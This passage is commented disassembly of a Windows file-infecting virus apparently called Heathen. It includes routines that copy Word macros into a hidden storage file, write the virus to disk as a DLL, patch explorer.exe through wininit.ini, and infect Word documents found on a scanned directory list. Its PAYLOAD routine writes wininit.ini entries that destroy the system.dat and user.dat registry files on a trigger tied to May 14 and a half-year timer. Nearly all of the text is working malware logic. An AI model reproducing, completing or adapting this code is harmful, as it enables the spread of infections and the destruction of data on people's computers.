  lea	eax, [ebp+WINDOWS_HeathenVDO]
  add	ecx, ebx
  push	ecx
  push	eax
  call	[ebp+APIs.lstrcatA] ; c:windowsHeathen.vdo
  mov	edx, offset aWininit_ini
  lea	ecx, [ebp+WINDOWS_WininitINI]
  add	edx, ebx
  push	edx
  push	ecx
  call	[ebp+APIs.lstrcatA] ; c:windowsWininit.ini
  lea	eax, [ebp+WINDOWS_HtmpDOC]
  push	0	    ; overwrite	Htmp.doc if already present
  push	eax
  xor	esi, esi    ; ESI = 0 =	File errors
  push	[ebp+ActiveDocument]
  call	[ebp+APIs.CopyFileA] ; copy file: ActiveDocument --> c:windowsHtmp.doc
  test	eax, eax
  jz	error1	    ; error
  lea	edx, [ebp+UNICODE_HtmpDoc]
  push	edx
  lea	ecx, [ebp+WINDOWS_HtmpDOC]
  push	ecx
  call	asciiz_to_unicode ; convert c:windowsHtmp.doc	to unicode
  add	esp, 8
  lea	eax, [ebp+IStorage1]
  push	eax	    ; &IStorage1
  push	0	    ; zero (reserved)
  push	0	    ; NULL
  push	10h	    ; STGM_READ	+ STGM_SHARE_EXCLUSIVE
  push	0	    ; NULL
  lea	edx, [ebp+UNICODE_HtmpDoc] ; file to contain Storage object
  push	edx
  call	[ebp+APIs.StgOpenStorage] ; open IStorage1 object
  mov	edi, eax
  test	edi, edi
  jnz	error2	    ; error
  lea	eax, [ebp+UNICODE_HeathenVdo]
  push	eax
  lea	edx, [ebp+WINDOWS_HeathenVDO]
  push	edx
  call	asciiz_to_unicode ; convert c:windowsHeathen.Vdo to unicode
  add	esp, 8
  lea	ecx, [ebp+IStorage2]
  push	ecx	    ; &IStorage2
  push	0	    ; zero (reserved)
  push	1011h	    ; STGM_CREATE + STGM_SHARE_EXCLUSIVE + STGM_WRITE
  lea	eax, [ebp+UNICODE_HeathenVdo] ;	compound file to create
  push	eax
  call	[ebp+APIs.StgCreateDocFile] ; create newcompound IStorage2 object
  mov	edi, eax
  test	edi, edi
  jnz	error3	    ; error
  lea	eax, [ebp+IStream1]
  mov	edi, offset aWorddocument ; WordDocument stream
  push	eax	    ; &Istream1
  push	0	    ; zero (reserved)
  push	10h	    ; STGM_SHARE_EXCLUSIVE
  add	edi, ebx
  push	0	    ; zero (reserved)
  push	edi	    ; name of the stream
  mov	edx, [ebp+IStorage1]
  push	edx
  mov	ecx, [edx]
  call	[ecx+IStorage_Interface.OpenStream] ; open WordDocument	stream
  push	0	    ; NULL = dont return actual	number of bytes	read
  lea	eax, [ebp+Buffer]
  push	200h	    ; number of	bytes to read
  push	eax	    ; buffer for read
  mov	edx, [ebp+IStream1]
  push	edx
  mov	ecx, [edx]
  call	[ecx+IStream_Interface.Read] ; read WordDocument Header
  mov	eax, offset xTable
  mov	dx, 31h	    ; "1Table"
  add	eax, ebx
  mov	[ebp+xTable], eax
  test	[ebp+Buffer+0Bh], 2 ; fWhichTblStm bit
		    ; 0	= use 0Table for read
		    ; 1	= use 1Table for read
  jnz	short use1Table
  dec	edx	    ; "0Table"

use1Table:
  mov	ecx, [ebp+xTable]
  mov	[ecx], dx
  mov	eax, dword ptr [ebp+Buffer+15Ah] ; fcCmds = offset in xTable stream of macros
  mov	[ebp+MacrosOffset], eax
  mov	edx, dword ptr [ebp+Buffer+15Eh] ; lcbCmds = size of macros
  mov	[ebp+MacrosSize], edx
  mov	ecx, [ebp+IStream1]
  push	ecx
  mov	eax, [ecx]
  call	[eax+IStream_Interface.Release]	; close	stream
  cmp	[ebp+MacrosSize], 200h ; greater than 200h?
  jg	error4
  lea	edx, [ebp+IStream1] ; open another stream (previous one	was closed)
  push	edx	    ; &IStream1
  push	0	    ; zero (reserved)
  push	10h	    ; STGM_SHARE_EXCLUSIVE
  push	0	    ; zero (reserved)
  push	[ebp+xTable] ; name of stream: "0Table"	or "1Table"
  mov	ecx, [ebp+IStorage1]
  push	ecx
  mov	eax, [ecx]
  call	[eax+IStorage_Interface.OpenStream] ; open Table stream
  mov	eax, [ebp+MacrosOffset]
  cdq
  mov	dword ptr [ebp+StreamSeek], eax
  mov	dword ptr [ebp+StreamSeek+4], edx
  push	0	    ; NULL (dont return	new position)
  push	0	    ; STREAM_SEEK_SET
  push	dword ptr [ebp+StreamSeek+4] ; offset in Table stream
  push	dword ptr [ebp+StreamSeek]
  mov	eax, [ebp+IStream1]
  push	eax
  mov	edx, [eax]
  call	[edx+IStream_Interface.Seek] ; Seek in table stream
  push	0	    ; NULL = dont return actual	number of bytes	read
  lea	ecx, [ebp+Buffer]
  push	[ebp+MacrosSize] ; number of bytes to read
  push	ecx	    ; buffer
  mov	eax, [ebp+IStream1]
  push	eax
  mov	edx, [eax]
  call	[edx+IStream_Interface.Read] ; read macros from	Table stream
  mov	ecx, [ebp+IStream1]
  push	ecx
  mov	eax, [ecx]
  call	[eax+IStream_Interface.Release]	; close	Table stream
  lea	edx, [ebp+IStream1] ; lets use same variable for another stream	 :-)
  push	edx	    ; &IStream1
  push	0	    ; zero (reserved)
  push	0	    ; zero (reserved)
  push	1011h	    ; STGM_CREATE + STGM_SHARE_EXCLUSIVE + STGM_WRITE
  push	edi	    ; name of stream to	create:	"WordDocument"
  mov	ecx, [ebp+IStorage2]
  push	ecx	    ; &IStorage2 (heathen.vdo)
  mov	eax, [ecx]
  call	[eax+IStorage_Interface.CreateStream] ;	create stream
  mov	edi, eax
  test	edi, edi
  jnz	error4	    ; error
  push	0	    ; NULL = dont return actual	number of bytes	written
  lea	edx, [ebp+Buffer]
  push	[ebp+MacrosSize] ; number of bytes to write
  push	edx
  mov	ecx, [ebp+IStream1]
  push	ecx
  mov	eax, [ecx]
  call	[eax+IStream_Interface.Write] ;	IStream:Write
  mov	edx, [ebp+IStream1]
  push	edx
  mov	ecx, [edx]
  call	[ecx+IStream_Interface.Release]	; close	stream
  mov	eax, offset aMacros ; name of element to move
  add	eax, ebx
  push	1	    ; STGMOVE_COPY (dont move, only copy)
  push	eax
  push	[ebp+IStorage2]	; destination storage object (heathen.vdo)
  push	eax
  mov	edx, [ebp+IStorage1] ; source IStorage Interface (htmp.doc)
  push	edx
  mov	ecx, [edx]
  call	[ecx+IStorage_Interface.MoveElementTo] ; move macros
  mov	edi, eax
  test	edi, edi
  jnz	short error4
  push	0	    ; NULL
  push	20h	    ; FILE_ATTRIBUTE_ARCHIVE
  push	2	    ; CREATE_ALWAYS
  push	0	    ; NULL = handle cannot be inherited
  push	0	    ; 0	= prevent file from being shared
  lea	eax, [ebp+WINDOWS_HeatheVDL] ; "c:windowsheathen.vdl"
  push	40000000h   ; GENERIC_WRITE
  push	eax
  call	[ebp+APIs.CreateFileA] ; create	DLL file (that will be called from Explorer patch code)
  mov	[ebp+FileHandle], eax
  cmp	[ebp+FileHandle], 0FFFFFFFFh
  jz	short error4 ; file creation error
  push	0	    ; NULL
  lea	edx, [ebp+writtenbytes]
  push	edx
  push	3000h	    ; number of	bytes to write
  push	[ebp+HEATHEN_BASE] ; buffer for	write
  push	[ebp+FileHandle] ; file	handle
  call	[ebp+APIs.WriteFile] ; write virus as a	DLL file  :-D
  mov	edi, eax
  push	[ebp+FileHandle]
  call	[ebp+APIs.CloseHandle] ; close file
  test	edi, edi
  jz	short error4 ; error
  push	0	    ; overwrite	Heathen.vex if already present
  lea	eax, [ebp+WINDOWS_HeathenVEX]
  push	eax
  lea	edx, [ebp+WINDOWS_ExplorerEXE]
  push	edx
  call	[ebp+APIs.CopyFileA] ; copy file: c:windowsexplorer.exe --> c:windowsheathen.vex
  mov	esi, eax    ; ESI = 0  means errors

error4:
  mov	eax, [ebp+IStorage2]
  push	eax
  mov	edx, [eax]
  call	[edx+IStorage_Interface.Release] ; close IStorage2 (heathen.vdo)

error3:
  mov	ecx, [ebp+IStorage1]
  push	ecx
  mov	eax, [ecx]
  call	[eax+IStorage_Interface.Release] ; close IStorage1 (htmp.doc)

error2:
  lea	edx, [ebp+WINDOWS_HtmpDOC]
  push	edx
  call	[ebp+APIs.DeleteFileA] ; delete	temporary file c:windowsHtmp.doc

error1:
  test	esi, esi    ; errors?
  jz	short error0 ; yes  :-(
  push	[ebp+Patch_code] ; Offset of code to be	inserted in Explorer.exe
  mov	ecx, offset aKernel32_dll
  mov	eax, offset aLoadLibraryA
  add	ecx, ebx
  add	eax, ebx
  push	ecx	    ; "KERNEL32.DLL"
  push	eax	    ; "LoadLibraryA"
  lea	edx, [ebp+WINDOWS_HeathenVEX]
  lea	ecx, [ebp+APIs]	; API addresses
  push	edx
  push	ecx
  call	PatchEXPLORER ;	patch c:windowsHeathen.vex
  add	esp, 14h
  test	eax, eax
  jz	short error0 ; error patching file
  push	ebx	    ; EBX = delta
  lea	eax, [ebp+WINDOWS_HeathenVEX]
  push	eax
  lea	edx, [ebp+WINDOWS_ExplorerEXE]
  push	edx
  lea	ecx, [ebp+WINDOWS_WininitINI]
  push	ecx
  lea	eax, [ebp+APIs]	; API addresses
  push	eax
  call	CreateWININIT ;	create c:windowswininit.ini file to replace explorer.exe
  add	esp, 14h

error0:
  pop	edi
  pop	esi
  pop	ebx
  mov	esp, ebp
  pop	ebp
  retn	1Ch
InstallVIRUS endp


; --------------- S U B	R O U T	I N E ---------------------------------------

; Attributes: bp-based frame

alloc_memory proc near

Size= dword ptr	 8

  push	ebp
  mov	ebp, esp
  mov	eax, ds:MemoryAllocator
  push	[ebp+Size]  ; size of memory to	allocate
  push	eax
  mov	edx, [eax]
  call	[edx+IMalloc_Interface.PreAlloc] ; allocate memory
  pop	ebp
  retn
alloc_memory endp


; --------------- S U B	R O U T	I N E ---------------------------------------

; Attributes: bp-based frame

free_memory proc near

Buffer=	dword ptr  8

  push	ebp
  mov	ebp, esp
  mov	eax, [ebp+Buffer]
  test	eax, eax
  jz	short free_memory0
  push	eax
  mov	eax, ds:MemoryAllocator
  push	eax
  mov	edx, [eax]
  call	[edx+IMalloc_Interface.PreFree]	; free memory

free_memory0:
  pop	ebp
  retn
free_memory endp


; --------------- S U B	R O U T	I N E ---------------------------------------

; Attributes: bp-based frame

AddDirectorytoList proc near

laststruct= dword ptr -4
DirectoryList= dword ptr  8
NewDirectory= dword ptr	 0Ch

  push	ebp
  mov	ebp, esp
  push	ecx
  push	ebx
  push	esi
  push	edi
  mov	edi, [ebp+NewDirectory]	; name of new Directory	to insert on list
  mov	ebx, [ebp+DirectoryList] ; EBX = pointer to structure corresponding to last directory in list
  mov	eax, [ebx]  ; get next directory structure
  mov	[ebp+laststruct], eax ;	next Directory structure
  push	8
  call	alloc_memory ; get memory for new Directory structure
  pop	ecx
  mov	esi, eax
  mov	[ebx], esi  ; save it, so this new structure will be first in chain
  test	esi, esi
  jnz	short AddDirectory
  xor	eax, eax
  jmp	short error50 ;	error allocating memory
; ---------------------------------------------------------------------------

AddDirectory:
  push	edi
  call	API_lstrlenA ; get size	of directory name
  inc	eax
  push	eax
  call	alloc_memory ; reserve memory for that Directory name
  mov	esi, eax
  mov	eax, [ebx]
  pop	ecx
  test	esi, esi
  mov	[eax+DirectorySTRUC.DirectoryName], esi	; save in first	field of structure the name of the directory
  jnz	short AddDirectory2
  xor	eax, eax
  jmp	short error50 ;	error allocating memory
; ---------------------------------------------------------------------------

AddDirectory2:
  push	edi
  push	esi
  call	API_lstrcpyA ; copy directory name to reserved memory
  mov	edx, [ebx]
  mov	ecx, [ebp+laststruct]
  mov	[edx+DirectorySTRUC.NextDirectorySTRUC], ecx ; save next directory structure in	second field of	actual structure
  mov	eax, 1

error50:
  pop	edi
  pop	esi
  pop	ebx
  pop	ecx
  pop	ebp
  retn
AddDirectorytoList endp


; --------------- S U B	R O U T	I N E ---------------------------------------

; Attributes: bp-based frame

DeleteDirectoryfromList proc near

NextDirectorySTRUC= dword ptr  8
DirectoryName= dword ptr  0Ch

  push	ebp
  mov	ebp, esp
  push	ebx
  push	esi
  mov	ebx, [ebp+NextDirectorySTRUC] ;	EBX = pointer to Directory structure
  mov	eax, [ebx]  ; EAX = Directory structure
  mov	esi, [eax+DirectorySTRUC.NextDirectorySTRUC] ; ESI = next directory structure
  push	[eax+DirectorySTRUC.DirectoryName] ; name of the directory (in this directory structure)
  push	[ebp+DirectoryName] ; pointer to argument DirectoryName	(to return name	of directory)
  call	API_lstrcpyA ; copy directory name to argument DirectoryName
  mov	eax, [ebx]
  push	[eax+DirectorySTRUC.DirectoryName]
  call	free_memory ; free memory that contains	the name of the	directory
  pop	ecx
  push	dword ptr [ebx]
  call	free_memory ; free memory of this directory structure
  pop	ecx
  mov	[ebx], esi  ; update DirectoryList
  pop	esi
  pop	ebx
  pop	ebp
  retn
DeleteDirectoryfromList	endp


; --------------- S U B	R O U T	I N E ---------------------------------------

; called from WndProc

PAYLOAD proc near

BytesWritten= byte ptr -518h
WINDOWS_WININIT= byte ptr -514h
STRING_TEXT= byte ptr -3E8h

  push	ebx
  add	esp, 0FFFFFAE8h
  push	offset WindowsDirectory
  lea	eax, [esp+51Ch+WINDOWS_WININIT]
  push	eax
  call	API_lstrcpyA
  push	offset aWininit_ini
  lea	edx, [esp+51Ch+WINDOWS_WININIT]
  push	edx
  call	API_lstrcatA ; "c:windowswininit.ini"
  push	0	    ; NULL
  push	20h	    ; FILE_ATTRIBUTE_ARCHIVE
  push	2	    ; CREATE_ALWAYS
  push	0	    ; NULL = file handle cannot	be inherited
  push	0	    ; 0	= prevent file from being shared
  push	40000000h   ; GENERIC_WRITE
  lea	ecx, [esp+530h+WINDOWS_WININIT]
  push	ecx
  call	API_CreateFileA	; create file
  mov	ebx, eax
  push	offset WindowsDirectory
  push	offset WindowsDirectory
  push	offset WindowsDirectory
  push	offset WindowsDirectory
  push	offset aRename
  push	offset aRename2
  lea	eax, [esp+530h+STRING_TEXT]
  push	eax
  call	API_wsprintfA ;	generate following text...
		    ; [rename]
		    ; nul=c:windowssystem.dat
		    ; nul=c:windowsuser.dat
		    ; nul=c:windowssystem.da0
		    ; nul=c:windowsuser.da0
		    ;
  add	esp, 1Ch
  push	0	    ; NULL
  lea	edx, [esp+51Ch+BytesWritten]
  push	edx	    ; pointer to store number of bytes actually	written	to file
  lea	ecx, [esp+520h+STRING_TEXT]
  push	ecx
  call	API_lstrlenA ; get size	of the string
  push	eax	    ; number of	bytes to write
  lea	eax, [esp+524h+STRING_TEXT]
  push	eax	    ; text
  push	ebx	    ; file handle
  call	API_WriteFile ;	write to wininit.ini
  push	ebx
  call	API_CloseHandle	; close	file handle
  add	esp, 518h
  pop	ebx
  retn
PAYLOAD	endp


; --------------- S U B	R O U T	I N E ---------------------------------------


InitVariables proc near

IStorage1= byte	ptr -1A4h
FilePointer= qword ptr -1A0h
WINDOWS_HeathenVDO= byte ptr -198h
StatSTG= dword ptr -6Ch
IStorageTime= word ptr -24h
SystemTime= word ptr -14h

  push	ebx
  add	esp, 0FFFFFE60h
  xor	ebx, ebx
  push	12Ch
  push	offset WindowsDirectory
  call	API_GetWindowsDirectoryA ; get windows directory
  push	offset WindowsDirectory
  lea	eax, [esp+1A8h+WINDOWS_HeathenVDO]
  push	eax
  call	API_lstrcpyA
  push	offset aHeathen_vdo
  lea	edx, [esp+1A8h+WINDOWS_HeathenVDO]
  push	edx
  call	API_lstrcatA ; "c:windowsHeathen.vdo"
  push	offset UNICODE_HeathenVDO
  lea	ecx, [esp+1A8h+WINDOWS_HeathenVDO]
  push	ecx
  call	asciiz_to_unicode ; convert it to unicode (for use by OLE functions)
  add	esp, 8
  push	esp	    ; &IStorage1
  push	0	    ; zero (reserved)
  push	0	    ; NULL
  push	10h	    ; STGM_READ	+ STGM_SHARE_EXCLUSIVE
  push	0	    ; NULL
  push	offset UNICODE_HeathenVDO
  call	API_StgOpenStorage ; open Storage heathen.vdo
  test	eax, eax
  jnz	error20
  push	offset ILockBytes ; where ILockBytes interface is returned
  push	1	    ; TRUE = free handle when object is	released
  push	0	    ; NULL = allocate a	new shared memory block	of size	zero
  call	API_CreateILockBytesOnHGlobal ;	create a byte array object that	allows to use global memory as the physical device (instead of disk file)
  test	eax, eax
  jnz	error21
  push	offset IStorage	; &IStorage
  push	0	    ; NULL
  push	1012h	    ; STGM_CREATE + STGM_SHARE_EXCLUSIVE + STGM_READWRITE
  push	ds:ILockBytes ;	ILockBytes interface on	the byte array object
  call	API_StgCreateDocfileOnILockBytes ; creates a new COM file storage object on top	of the byte array object
  test	eax, eax
  jnz	error21
  push	ds:IStorage ; destination IStorage (on memory)
  push	0	    ; NULL
  push	0	    ; NULL=all objects to be copied
  push	0	    ; NULL
  mov	eax, dword ptr [esp+1B4h+IStorage1]
  push	eax	    ; source IStorage (heathen.vdo)
  mov	edx, [eax]
  call	[edx+IStorage_Interface.CopyTo]	; copy all its contents
  test	eax, eax
  jnz	short error21
  push	offset IStream ; &IStream
  push	0	    ; zero (reserved)
  push	10h	    ; STGM_SHARE_EXCLUSIVE
  push	0	    ; zero (reserved)
  push	offset aWorddocument ; WordDocument stream (where virus	macros were stored)
  mov	ecx, ds:IStorage
  push	ecx
  mov	eax, [ecx]
  call	[eax+IStorage_Interface.OpenStream] ; open that	stream
  test	eax, eax
  jnz	short error21
  mov	dword ptr [esp+1A4h+FilePointer], 0
  mov	dword ptr [esp+1A4h+FilePointer+4], 0
  push	offset HeathenMacrosSize ; here	will be	stored size of WordDocument stream, that contains virus	macros!!!
  push	2	    ; STREAM_SEEK_END
  push	dword ptr [esp+1ACh+FilePointer+4]
  push	dword ptr [esp+1B0h+FilePointer]
  mov	ecx, ds:IStream
  push	ecx
  mov	eax, [ecx]
  call	[eax+IStream_Interface.Seek] ; seek at end of stream = size of stream
  push	0	    ; NULL (dont return	new position)
  push	0	    ; STREAM_SEEK_SET
  push	dword ptr [esp+1ACh+FilePointer+4]
  push	dword ptr [esp+1B0h+FilePointer]
  mov	ecx, ds:IStream
  push	ecx
  mov	eax, [ecx]
  call	[eax+IStream_Interface.Seek] ; seek at start of	stream
  mov	ebx, 1	    ; ok, no errors  :)

error21:
  push	1	    ; STATFLAG_NONAME
  lea	eax, [esp+1A8h+StatSTG]
  push	eax	    ; &StatSTG
  mov	edx, dword ptr [esp+1ACh+IStorage1] ; heathen.vdo storage
  push	edx
  mov	ecx, [edx]
  call	[ecx+IStorage_Interface.Stat] ;	get stat structure of the IStorage
  lea	eax, [esp+1A4h+IStorageTime] ; variable	to store IStorage modification time (converted to SystemTime)
  push	eax
  lea	edx, [esp+1A8h+StatSTG+10h] ; mtime = modification time
  push	edx
  call	API_FileTimeToSystemTime ; converts a 64-bit file time to system time format
  lea	ecx, [esp+1A4h+SystemTime] ; &SystemTime
  push	ecx
  call	API_GetSystemTime ; get	system time
  movzx	eax, [esp+1A4h+SystemTime+6] ; System day
  movzx	edx, [esp+1A4h+IStorageTime+6] ; IStorage day
  sub	eax, edx    ; day difference
  movzx	edx, [esp+1A4h+IStorageTime+2] ; IStorage month
  movzx	ecx, [esp+1A4h+SystemTime+2] ; System month
  sub	ecx, edx    ; month difference
  imul	ecx, 1Eh    ; *	30 days/month
  add	eax, ecx    ; add days
  movzx	ecx, [esp+1A4h+IStorageTime] ; IStorage	year
  movzx	edx, [esp+1A4h+SystemTime] ; System year
  sub	edx, ecx    ; year difference
  imul	edx, 16Dh   ; *	365 days/year
  add	eax, edx    ; add days
  cmp	eax, 183    ; 183 days (or more) since installation? (half a year)
  setnl	al
  and	eax, 1	    ; EAX=1--> yes!  :-D
  cmp	[esp+1A4h+SystemTime+6], 0Eh ; day 14?
  mov	ds:MoreThanHalfYear, eax
  jnz	short not_may14th ; no
  cmp	[esp+1A4h+SystemTime+2], 5 ; month = May?
  jz	short month14th	; yes

not_may14th:
  xor	ecx, ecx
  jmp	short is_may14th
; ---------------------------------------------------------------------------

month14th:
  mov	ecx, 1

is_may14th:
  mov	ds:may14h, ecx ; indicate if we	are on may 14th
  mov	eax, dword ptr [esp+1A4h+IStorage1]
  push	eax
  mov	edx, [eax]
  call	[edx+IStorage_Interface.Release] ; close IStorage

error20:
  mov	eax, ebx
  add	esp, 1A0h
  pop	ebx
  retn
InitVariables endp


; --------------- S U B	R O U T	I N E ---------------------------------------


InitDirectoryList proc near

IStream1= dword	ptr -1Ch
Zero_Offset= qword ptr -18h
ScanDataSize= byte ptr -10h

  push	ebx
  push	esi
  add	esp, 0FFFFFFECh
  xor	eax, eax
  mov	ds:Drive, eax ;	empty DirectoryList
  xor	edx, edx
  mov	ds:DirectoryList.NextDirectorySTRUC, edx
  mov	ds:DirectoryList.DirectoryName,	edx
  push	esp	    ; &IStream1
  push	0	    ; zero (reserved)
  push	10h	    ; STGM_SHARE_EXCLUSIVE
  push	0	    ; zero (reserved)
  push	offset aScandata ; name	of stream "ScanData"
  mov	eax, ds:IStorage ; (IStorage based on ILockBytes interface)
  push	eax
  mov	ecx, [eax]
  call	[ecx+IStorage_Interface.OpenStream] ; open stream ScanData
  test	eax, eax
  jnz	error40	    ; error
  mov	dword ptr [esp+1Ch+Zero_Offset], 0 ; offset from end of	stream = 0
  mov	dword ptr [esp+1Ch+Zero_Offset+4], 0
  lea	eax, [esp+1Ch+ScanDataSize]
  push	eax
  push	2	    ; STREAM_SEEK_END
  push	dword ptr [esp+24h+Zero_Offset+4]
  push	dword ptr [esp+28h+Zero_Offset]
  mov	ecx, [esp+2Ch+IStream1]
  push	ecx
  mov	eax, [ecx]
  call	[eax+IStream_Interface.Seek] ; seek to end of stream to	calculate its size
  push	0	    ; NULL (dont return	new position)
  push	0	    ; STREAM_SEEK_SET
  push	dword ptr [esp+24h+Zero_Offset+4]
  push	dword ptr [esp+28h+Zero_Offset]
  mov	ecx, [esp+2Ch+IStream1]
  push	ecx
  mov	eax, [ecx]
  call	[eax+IStream_Interface.Seek] ; go to start of stream
  push	dword ptr [esp+1Ch+ScanDataSize] ; size	of actual ScanData
  call	alloc_memory ; reserve memory for those	structures
  pop	ecx
  mov	esi, eax
  test	esi, esi
  jz	short error41 ;	error allocating memory
  push	0
  push	dword ptr [esp+20h+ScanDataSize] ; size	of ScanData
  push	esi	    ; buffer
  mov	eax, [esp+28h+IStream1]
  push	eax
  mov	edx, [eax]
  call	[edx+IStream_Interface.Read] ; read SCanData
  mov	ecx, [esi]  ; get disk drive od	Directory where	it was stopped
  mov	ds:Drive, ecx ;	save it	to continue in that Directory
  lea	ebx, [esi+4]
  jmp	short CreateList
; ---------------------------------------------------------------------------

CreateList2:
  push	ebx	    ; offset of	directory name
  push	offset DirectoryList ; directory list
  call	AddDirectorytoList ; add this directory	to DirectoryList
  add	esp, 8
  test	eax, eax
  jz	short error42 ;	exit on	error
  push	ebx
  call	API_lstrlenA ; get size	of directory name
  inc	eax
  add	ebx, eax    ; point to next directory

CreateList:
  cmp	dword ptr [ebx], 0FFFFFFFFh ; end of Directories?
  jnz	short CreateList2 ; not	yet

error42:
  push	esi
  call	free_memory ; free memory of ScanData, although	DirectoryList structures remain	in memory to work with them
  pop	ecx

error41:
  mov	eax, [esp+1Ch+IStream1]
  push	eax
  mov	edx, [eax]
  call	[edx+IStream_Interface.Release]	; close	stream

error40:
  add	esp, 14h
  pop	esi
  pop	ebx
  retn
InitDirectoryList endp


; --------------- S U B	R O U T	I N E ---------------------------------------


UpdateScanData proc near

IStorage= dword	ptr -13Ch
IStream_ScanData= dword	ptr -138h
EndMark= byte ptr -134h
DirectoryName= byte ptr	-130h

  push	ebx
  add	esp, 0FFFFFEC8h
  push	esp	    ; &IStorage	(esp+13Ch+IStorage)
  push	0	    ; zero (reserved)
  push	0	    ; NULL
  push	11h	    ; STGM_WRITE + STGM_SHARE_EXCLUSIVE
  push	0	    ; NULL
  push	offset UNICODE_HeathenVDO
  call	API_StgOpenStorage ; open Storage heathen.vdo
  mov	ebx, eax    ; EBX = 0 if no errors
  test	ebx, ebx
  jnz	error60
  lea	eax, [esp+13Ch+IStream_ScanData] ; &Istream_ScanData
  push	eax
  push	0	    ; zero (reserved)
  push	0	    ; zero (reserved)
  push	1011h	    ; STGM_CREATE + STGM_SHARE_EXCLUSIVE + STGM_WRITE
  push	offset aScandata ; name	of stream
  mov	edx, [esp+150h+IStorage]
  push	edx
  mov	ecx, [edx]
  call	[ecx+IStorage_Interface.CreateStream] ;	open SCanData stream
  mov	ebx, eax
  test	ebx, ebx
  jnz	short error62
  mov	dword ptr [esp+13Ch+EndMark], 0FFFFFFFFh ; indicate "end of directories"
  push	0	    ; NULL = not interested in number of bytes actually	written	to stream
  push	4	    ; number of	bytes to write to stream
  push	offset Drive ; drive unit that we are currently	scanning
  mov	eax, [esp+148h+IStream_ScanData]
  push	eax
  mov	edx, [eax]
  call	[edx+IStream_Interface.Write] ;	IStream:Write
  or	ebx, eax    ; if errors, EBX will be different of zero
  jmp	short check_more_directories
; ---------------------------------------------------------------------------

get_more_directories:
  lea	ecx, [esp+13Ch+DirectoryName]
  push	ecx
  push	offset DirectoryList
  call	DeleteDirectoryfromList	; get next directory from list (and free it from list)
  add	esp, 8
  push	0	    ; NULL = not interested in number of bytes actually	written	to stream
  lea	eax, [esp+140h+DirectoryName]
  push	eax
  call	API_lstrlenA
  inc	eax	    ; one byte more, to	include	be an ASCIIZ string
  push	eax	    ; number of	bytes to write to stream
  lea	edx, [esp+144h+DirectoryName] ;	name of	directory
  push	edx
  mov	ecx, [esp+148h+IStream_ScanData]
  push	ecx
  mov	eax, [ecx]
  call	[eax+IStream_Interface.Write] ;	write directory	name to	stream
  or	ebx, eax

check_more_directories:
  cmp	ds:DirectoryList.DirectoryName,	0 ; more directories in	List?
  jnz	short get_more_directories ; yeah! go for them!
  push	0	    ; NULL = not interested in number of bytes actually	written	to stream
  push	4	    ; number of	bytes to write to stream
  lea	edx, [esp+144h+EndMark]	; offset of 0xFFFFFFFF to be written at	end of directories
  push	edx
  mov	ecx, [esp+148h+IStream_ScanData]
  push	ecx
  mov	eax, [ecx]
  call	[eax+IStream_Interface.Write] ;	write mark
  or	ebx, eax
  mov	edx, [esp+13Ch+IStream_ScanData] ; IStream
  push	edx
  mov	ecx, [edx]
  call	[ecx+IStream_Interface.Release]	; close	stream

error62:
  test	ebx, ebx
  jz	short error61 ;	jump if	no errors!
  mov	eax, [esp+13Ch+IStorage]
  push	eax
  mov	edx, [eax]
  call	[edx+IStorage_Interface.Revert]	; discard all changes!!!

error61:
  mov	ecx, [esp+13Ch+IStorage]
  push	ecx
  mov	eax, [ecx]
  call	[eax+IStorage_Interface.Release] ; close IStorage

error60:
  add	esp, 138h
  pop	ebx
  retn
UpdateScanData endp


; --------------- S U B	R O U T	I N E ---------------------------------------

; Attributes: bp-based frame

InfectDocument proc near

Buffer=	byte ptr -4BCh
STATG= STATG_STRUC ptr -2BCh
UNICODE_FILENAME= byte ptr -274h
MacrosOffset= dword ptr	-1Ch
SeekOffset= qword ptr -14h
IStream2= dword	ptr -0Ch
IStream1= dword	ptr -8
IStorage1= dword ptr -4
ASCIIZ_FILENAME= dword ptr  8

  push	ebp
  mov	ebp, esp
  add	esp, 0FFFFFB44h
  cmp	ds:may14h, 0 ; may 14th?
  push	ebx
  push	esi
  mov	ebx, [ebp+ASCIIZ_FILENAME]
  jz	short Infect_This_File ; jump if not may 14th
  xor	ecx, ecx
  xor	eax, eax
  jmp	short check_directory_name
; ---------------------------------------------------------------------------

next_character:
  movsx	edx, dl
  cmp	edx, ''
  jnz	short next_character2
  lea	ecx, [eax+1] ; ECX = offset after ""  (offset of name of subdirectory or file)

next_character2:
  inc	eax	    ; next byte

check_directory_name:
  mov	dl, [ebx+eax]
  test	dl, dl
  jnz	short next_character ; search to end of	directory name
  movsx	eax, byte ptr [ebx+ecx]	; get first character of subdirectory name
  cmp	eax, '_'
  jz	short Infect_This_File ; on mat	14th...	only infects files starting with "_" !!!
  xor	eax, eax
  jmp	error70
; ---------------------------------------------------------------------------

Infect_This_File:
  xor	esi, esi    ; ESI = 0  means infection not successful
  lea	eax, [ebp+UNICODE_FILENAME]
  push	eax
  push	ebx
  call	asciiz_to_unicode ; convert it to unicode string
  add	esp, 8
  lea	edx, [ebp+IStorage1] ; &IStorage
  push	edx
  push	0	    ; zero (reserved)
  push	0	    ; NULL
  push	12h	    ; STGM_READWRITE + STGM_SHARE_EXCLUSIVE
  push	0	    ; NULL
  lea	ecx, [ebp+UNICODE_FILENAME]
  push	ecx
  call	API_StgOpenStorage ; open document
  test	eax, eax
  jnz	error71	    ; exit on error
  push	1
  lea	eax, [ebp+STATG] ; where STATG structured will be returned
  push	eax
  mov	edx, [ebp+IStorage1] ; IStorage	of the document
  push	edx
  mov	ecx, [edx]
  call	[ecx+IStorage_Interface.Stat] ;	get STATG structure for	this storage object
  lea	eax, [ebp+IStream1] ; &IStream1
  push	eax
  push	0	    ; zero (reserved)
  push	12h	    ; STGM_READWRITE + STGM_SHARE_EXCLUSIVE
  push	0	    ; zero (reserved)
  push	offset aWorddocument ; name of stream "WordDocument"
  mov	edx, [ebp+IStorage1]
  push	edx
  mov	ecx, [edx]
  call	[ecx+IStorage_Interface.OpenStream] ; open stream
  test	eax, eax
  jnz	error72
  push	0	    ; NULL = not interested in number of bytes actually	read from stream
  lea	eax, [ebp+Buffer]
  push	200h	    ; number of	bytes to read
  push	eax	    ; buffer
  mov	edx, [ebp+IStream1] ; IStream
  push	edx
  mov	ecx, [edx]
  call	[ecx+IStream_Interface.Read] ; read WordDocument header
  cmp	dword ptr [ebp+Buffer+15Eh], 3
  jge	error73	    ; exit if it already has macros
  mov	ax, 31h	    ; select 1Table
  test	[ebp+Buffer+0Bh], 2 ; 0Table or	1Table?
  jnz	short select_1Table
  dec	eax	    ; select 0Table

select_1Table:
  mov	word ptr ds:xTable, ax
  lea	edx, [ebp+IStream2] ; &IStream2
  push	edx
  push	0	    ; zero (reserved)
  push	11h	    ; STGM_WRITE + STGM_SHARE_EXCLUSIVE
